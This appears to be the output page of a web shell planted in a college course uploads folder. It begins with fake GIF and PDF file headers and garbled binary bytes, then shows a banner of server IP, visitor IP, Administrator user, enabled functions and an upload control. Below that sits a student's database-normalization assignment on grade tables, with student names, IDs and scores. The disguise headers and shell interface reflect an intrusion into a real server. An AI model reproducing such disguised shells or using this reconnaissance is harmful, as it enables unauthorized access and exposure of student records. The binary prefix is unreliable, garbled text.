GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/uploads/20255/CST1600/41/16607463/Lab09/ |
Upload File : |
UNF: studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9) possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) 1NF: 2NF: 3NF: Three data rows: 1NF: Violation: - The studentgrades table violates 1NF due to repeating fields: Lab01, Lab02, ..., Lab09. - These should be stored in rows rather than columns. Tables in 1NF: Students --------- StudentId* StudentName StudentProfileGrades --------------------- StudentId@ SP StudentLabGrades ----------------- StudentId@ LabName LabGrade LetterGrades -------------- LetterGrade* Percentage AssignmentsPossiblePoints -------------------------- AssignmentName* MaxPoints Fields Created and Why: - LabName, LabGrade: to eliminate repeating lab fields and store grades atomically. - AssignmentName, MaxPoints: to generalize assignment grade limits (SP, Lab01–Lab09). Tables Created and Why: - StudentProfileGrades: separates SP from lab grades to keep fields atomic. - StudentLabGrades: one lab per row structure for normalized format. - AssignmentsPossiblePoints: stores all assignment types and their max points in a consistent format. 2NF: Violation: - The original studentgrades table had partial dependencies due to composite nature (implied). - Now each table is dependent fully on the primary key. Tables in 2NF: OK — All tables now have full functional dependency on the whole primary key. 3NF: Violation: - The original studentgrades table had derived fields (Total, Final, IP) which depend on other non-key fields. Tables in 3NF: Students --------- StudentId* StudentName StudentProfileGrades --------------------- StudentId@ SP StudentLabGrades ----------------- StudentId@ LabName LabGrade LetterGrades -------------- LetterGrade* Percentage AssignmentsPossiblePoints -------------------------- AssignmentName* MaxPoints All calculated fields like Total, Final, and IP have been removed, as they are derived and violate 3NF. Three data rows: Students --------- 84228748, Lael Abbott 44107438, Bruce Acosta 21479092, Coby Fox StudentProfileGrades --------------------- 84228748, 4 44107438, 5 21479092, 5 StudentLabGrades ----------------- 84228748, Lab01, 10 84228748, Lab02, 5 84228748, Lab03, 9 84228748, Lab05, 3 84228748, Lab06, 10 44107438, Lab01, 10 44107438, Lab02, 5 44107438, Lab03, 10 44107438, Lab04, 10 44107438, Lab05, 15 44107438, Lab06, 10 44107438, Lab07, 15 44107438, Lab08, 15 21479092, Lab01, 10 21479092, Lab02, 5 21479092, Lab03, 10 21479092, Lab04, 10 21479092, Lab05, 15 21479092, Lab06, 10 LetterGrades -------------- A, 93 A-, 90 B+, 87 B, 83 B-, 80 C+, 77 C, 73 C-, 70 F, 0 AssignmentsPossiblePoints -------------------------- SP, 5 Lab01, 10 Lab02, 5 Lab03, 10 Lab04, 10 Lab05, 15 Lab06, 10 Lab07, 15 Lab08, 15 Lab09, 15